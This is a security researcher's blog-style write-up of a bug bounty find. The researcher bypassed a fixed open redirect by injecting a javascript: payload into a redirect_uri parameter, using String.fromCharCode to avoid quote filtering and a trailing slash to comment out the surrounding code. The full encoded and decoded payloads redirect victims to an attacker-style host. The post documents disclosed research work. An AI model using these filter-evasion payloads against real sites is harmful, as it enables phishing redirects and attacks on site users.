Using an XSS for Open Redirect

I recently got awarded some money for overcoming a fix to an open redirect by using an XSS. Here's how it worked:

https://some.domain.com/mysecureendpointthing/xyz?response_type=code&client_id=12345678-90ab-cdef-ghij-xxxyyyzzzxxx&scope=myscope&redirect_uri=

Originally, there was an open redirect via the redirect_uri field. They fixed that one.

However, there was still an XSS possible that they hadn't fixed.

I wondered if I could still exploit this "resolved" bug...

The final payload looked something like this:

https://some.domain.com/mysecureendpoint/xyz?response_type=code&client_id=12345678-90ab-cdef-ghij-xxxyyyzzzxxx&scope=myscope&redirect_uri=javascript%3Awindow.location.replace%28String.fromCharCode%28104%2C116%2C116%2C112%2C58%2C47%2C47%2C101%2C118%2C105%2C108%2C100%2C111%2C106%2C111%2C46%2C99%2C111%2C109%29%29%3B%2F

So, let's look at the payload:

javascript%3Awindow.location.replace%28String.fromCharCode%28104%2C116%2C116%2C112%2C58%2C47%2C47%2C101%2C118%2C105%2C108%2C100%2C111%2C106%2C111%2C46%2C99%2C111%2C109%29%29%3B%2F

When you decode from URL encoding:

javascript:window.location.replace(String.fromCharCode(104,116,116,112,58,47,47,101,118,105,108,100,111,106,111,46,99,111,109));/

The fromCharCode numbers decode to "http://evildojo.com"

The reason I had to do this is that double and single-quotes were being HTML-encoded in the source code reflected.

I couldn't do:

javascript:window.location.replace("http://evildojo.com");/

As this would get reflected as

javascript:window.location.replace("http://evildojo.com");/

Which, of course, this would not execute.

I thought about it for a while and realized I could try to construct a string using only ASCII values.

Originally I tried concatenating a string from a bunch of individual codes:

javascript:window.location.replace(String.fromCharCode(104)+String.fromCharCode(116)+String.fromCharCode(116)+String.fromCharCode(112)+String.fromCharCode(58)+String.fromCharCode(47)+String.fromCharCode(47)+String.fromCharCode(101)+String.fromCharCode(118)+String.fromCharCode(105)+String.fromCharCode(108)+String.fromCharCode(100)+String.fromCharCode(111)+String.fromCharCode(106)+String.fromCharCode(111)+String.fromCharCode(46)+String.fromCharCode(99)+String.fromCharCode(111)+String.fromCharCode(109))

This payload did not execute. I believe I would have to encode the plus signs for this one to have worked, but before I got to try that, I discovered String.fromCharCode() allows for additional parameters past the first, so you could separate each ASCII value with a comma and pass an entire string in using only numbers if you find that single or double quotes are being filtered.

Even once I got the payload set up, it still wouldn't execute, as the javascript surrounding it in the source code for the page was causing a malformed statement.

To overcome this, I added a final forward-slash %2F at the end of the payload, turning the code that came after it into a comment, and causing the payload to execute.

There's several lessons to learn here:

1. NEVER trust that a bug has been fixed. Always go back through old reports, especially if you are stuck and need inspiration.
2. Sometimes, you need to step away from the computer for a while and do something else completely unrelated before you'll see something obvious.
3. If you find an injection, and quotes+double-quotes are being filtered, try to work with only numbers.

If you would like individual mentoring on programming or hacking, please reach out to me on CodeMentor.io

Thank you for your time :)